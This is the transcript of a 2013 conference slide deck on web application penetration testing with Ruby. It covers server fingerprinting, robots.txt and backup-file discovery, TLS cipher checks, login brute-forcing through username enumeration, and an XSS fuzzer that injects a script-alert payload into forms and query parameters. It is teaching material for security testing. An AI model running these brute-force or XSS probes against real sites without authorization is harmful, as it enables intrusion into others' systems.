$30 off During Our Annual Pro Sale. View Details »

Solid as diamond by Paolo Perego

Solid as diamond by Paolo Perego

Watch the video here: https://vimeo.com/69242088

Railsberry

April 23, 2013
Tweet

More Decks by Railsberry

Other Decks in Technology

Transcript

  1. Solid as Diamond Using Ruby in a web application penetration

    test paolo@armoredcode.com - Railsberry 2013 - Krakow Wednesday, April 17, 13
  2. self.inspect https://github.com/thesp0nge @thesp0nge http://armoredcode.com Wednesday, April 17, 13

  3. talk.inspect • Owasp Top 10 2013 • Ruby code to...

    • Leverage our attack surface • Bruteforce authentication mechanism • Look for Cross site scripting 3 Wednesday, April 17, 13
  4. Disclaimer 4 Attack only sites you’re authorized to Wednesday, April

    17, 13
  5. Change your mindset. You’re an attacker now! 5 Your web

    application is a blackbox You’ve got only a URL as a starting point (optional) You may have a valid user, instead you have to register a user to the application Good luck! Wednesday, April 17, 13
  6. The Owasp Top 10 - 2013 6 • A1 –

    Injection • A2 – Broken Authentication and Session Management • A3 – Cross-Site Scripting (XSS) • A4 – Insecure Direct Object References • A5 – Security Misconfiguration • A6 – Sensitive Data Exposure • A7 – Missing Function Level Access Control • A8 – Cross-Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards Wednesday, April 17, 13
  7. It all starts with... 7 ... someone who wants to

    publish a new web application, she give us the url and she says “test it for security issues, please”... Wednesday, April 17, 13
  8. Leverage your attack surface 8 Wednesday, April 17, 13

  9. Leverage your attack surface 9 Spot attack entrypoints: (robots.txt and

    url discovery with bruteforce) Fingerprint your target Check transport layer security Check for the service door (backup files) Wednesday, April 17, 13
  10. Fingerprint your target 10 • Meta generator tag • Server

    HTTP response field • X-Powered-by HTTP response field • Popular pages with extension (login.do, index.jsp, main.asp, login.php...) • The HTTP response field order (actually not implemented in gengiscan gem) Wednesday, April 17, 13
  11. Fingerprint your target 11 def detect(url) uri = URI(url) begin

    res = Net::HTTP.get_response(uri) {:status=>:OK, :code=>res.code, :server=>res['Server'], :powered=>res['X-Powered-By'], :generator=>get_generator_signature(res)} rescue {:status=>:KO, :code=>nil, :server=>nil, :powered=>nil, :generator=>nil} end end def get_generator_signature(res) generator = "" doc=Nokogiri::HTML(res.body) doc.xpath("//meta[@name='generator']/@content").each do |value| generator = value.value end generator end $ gem install gengiscan $ gengiscan http://localhost:4567 {:status=>:OK, :code=>"404", :server=>"WEBrick/1.3.1 (Ruby/ 1.9.3/2012-04-20)", :powered=>nil, :generator=>""} Wednesday, April 17, 13
  12. Spot attack entrypoints 12 robots.txt to discover to fingerprint Wednesday,

    April 17, 13
  13. Spot attack entrypoints 13 # TESTING: SPIDERS, ROBOTS, AND CRAWLERS

    (OWASP-IG-001) def self.robots(site) site = 'http://'+site unless site.start_with? 'http://' or site.start_with? 'https://' allow_list = [] disallow_list = [] begin res=Net::HTTP.get_response(URI(site+'/robots.txt')) return {:status=>:KO, :allow_list=>[], :disallow_list=>[], :error=>"robots.txt response code was #{res.code}"} if (res.code != "200") res.body.split("\n").each do |line| disallow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('disallow')) allow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('allow')) end rescue Exception => e return {:status=>:KO, :allow_list=>[], :disallow_list=>[], :error=>e.message} end {:status=>:OK, :allow_list=>allow_list, :disallow_list=>disallow_list, :error=>""} end $ gem install codesake_links $ links -r http://localhost:4567 Wednesday, April 17, 13
  14. Spot attack entrypoints 14 • Use a dictionary to discover

    URLs with bruteforce • Very intrusive attack... you’ll be busted, be aware $ gem install codesake_links $ links -b test_case_dir_wordlist.txt http://localhost:4567 Wednesday, April 17, 13
  15. Check transport layer security 15 $ gem install ciphersurfer $

    ciphersurfer www.gmail.com Evaluating secure communication with www.gmail.com:443 Overall evaluation : B (76.5) Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55) Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80) Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90) Evaluate an SSL connection for: • protocols the server supports • cipher length • certificate key length Wednesday, April 17, 13
  16. Check transport layer security 16 def go context=OpenSSL::SSL::SSLContext.new(@proto) cipher_set =

    context.ciphers cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits| request = Net::HTTP.new(@host, @port) request.use_ssl = true request.verify_mode = OpenSSL::SSL::VERIFY_NONE request.ciphers= cipher_name begin response = request.get("/") @ok_bits << bits @ok_ciphers << cipher_name rescue OpenSSL::SSL::SSLError => e # Quietly discard SSLErrors, really I don't care if the cipher has # not been accepted rescue # Quietly discard all other errors... you must perform all error # chekcs in the calling program end end end protocol_version.each do |version| s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version}) s.go if (s.ok_ciphers.size != 0) supported_protocols << version cipher_bits = cipher_bits | s.ok_bits ciphers = ciphers | s.ok_ciphers end end Wednesday, April 17, 13
  17. Check for the service door 17 require 'anemone' require 'httpclient'

    h=HTTPClient.new() Anemone.crawl(ARGV[0]) do |anemone| anemone.on_every_page do |page| response = h.get(page.url) puts "Original: #{page.url}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".bak")) puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat(".old")) puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}" response = h.get(page.url.to_s.split(";")[0].concat("~")) puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}" end end Wednesday, April 17, 13
  18. Demo 18 Wednesday, April 17, 13

  19. Demo - Information gathering 19 Wednesday, April 17, 13

  20. Demo - First XSS discovered 20 Wednesday, April 17, 13

  21. Bruteforce authentication mechanism 21 Wednesday, April 17, 13

  22. Am I vulnerable? 22 Wednesday, April 17, 13

  23. Am I vulnerable? 23 Wednesday, April 17, 13

  24. How do I break this? 24 1. Use an existing

    user to check the HTML <p> Wrong password for admin user </p> 2. Place a canary string to anonymize the output <p> Wrong password for canary_username user </p> 3. Submit the post and check if the response is the one expected with the canary substituted <p> Wrong password for tom user </p> Wednesday, April 17, 13
  25. How do I break this? 25 def post(url, username, password)

    agent = Mechanize.new agent.user_agent_alias = 'Mac Safari' agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE username_set = false password_set = false page = agent.get(url) page.forms.each do |form| form.fields.each do |field| if field.name.downcase == 'username' or field.name.downcase== 'login' username_set = true field.value = username end if field.name.downcase == 'password' or field.name.downcase== 'pass' or field.name.downcase== 'pwd' password_set = true field.value = password end end return agent.submit(form) if username_set and password_set end return nil end Wednesday, April 17, 13
  26. How do I break this? 26 log("existing user #{username} used

    as canary") wrong_pwd = post(url, username, "caosintheground").body.gsub(username, 'canary_username') wrong_creds = post(url, "caostherapy", "caosintheground").body.gsub("caostherapy", "canary_username") if ! line.start_with?("#") sleep(@sleep_time) log("awake... probing with: #{line}") r= post(url, line, ".4nt4n1") found << line if r.body == wrong_pwd.gsub("canary_username", line) end Wednesday, April 17, 13
  27. Demo 27 Wednesday, April 17, 13

  28. Demo 28 Wednesday, April 17, 13

  29. Look for Cross Site Scripting (reflected) 29 Wednesday, April 17,

    13
  30. Look for Cross Site Scripting 30 Wednesday, April 17, 13

  31. Look for Cross Site Scripting 31 Wednesday, April 17, 13

  32. Look for Cross Site Scripting 32 • In GETs •

    Submit the attack payload as parameter in the query string • Parse HTML and check if payload is in the script nodes • In POSTs • Get the page • Find the form(s) • Fill the form input values with attack payload • Submit the form • Parse HTML and check if payload is in the script nodes Wednesday, April 17, 13
  33. Look for Cross Site Scripting 33 attack_url = Cross::Url.new(url) Cross::Attack::XSS.each

    do |pattern| attack_url.params.each do |par| page = @agent.get(attack_url.fuzz(par[:name],pattern)) @agent.log.debug(page.body) if debug? scripts = page.search("//script") scripts.each do |sc| found = true if sc.children.text.include?("alert('cross canary')") @agent.log.debug(sc.children.text) if @options[:debug] end attack_url.reset end end Exploiting GETs... $ gem install cross $ cross -u http://localhost:4567/hello?name=paolo Wednesday, April 17, 13
  34. Look for Cross Site Scripting 34 begin page = @agent.get(url)

    rescue Mechanize::UnauthorizedError puts 'Authentication failed. Giving up.' return false rescue Mechanize::ResponseCodeError puts 'Server gave back 404. Giving up.' return false end puts "#{page.forms.size} form(s) found" if debug? page.forms.each do |f| f.fields.each do |ff| ff.value = "<script>alert('cross canary');</script>" end pp = @agent.submit(f) puts "#{pp.body}" if debug? scripts = pp.search("//script") scripts.each do |sc| found = true if sc.children.text == "alert('cross canary');" end end Exploiting POSTs... $ gem install cross $ cross http://localhost:4567/login Wednesday, April 17, 13
  35. Demo 35 Wednesday, April 17, 13

  36. Demo 36 Wednesday, April 17, 13

  37. What we learnt 37 • Don’t trust your users •

    “Security through obscurity” is EVIL • Testing for security issues is a mandatory step before deploy • HTTPS won’t safe from XSS or SQL Injections Wednesday, April 17, 13
  38. Some links before we leave 38 http://armoredcode.com/blog/categories/pentest-with-ruby/ https://github.com/codesake http://ronin-ruby.github.com/ https://github.com/rapid7/metasploit-framework

    https://gist.github.com/2935464 (gist for anemone crawling demo) http://www.owasp.org All my application security stuff will be opensource and available here: http://brakemanscanner.org/ Not mine, here because they’re cool Wednesday, April 17, 13
  39. event name Questions? 39 Wednesday, April 17, 13

  40. event name Thank you! 40 Wednesday, April 17, 13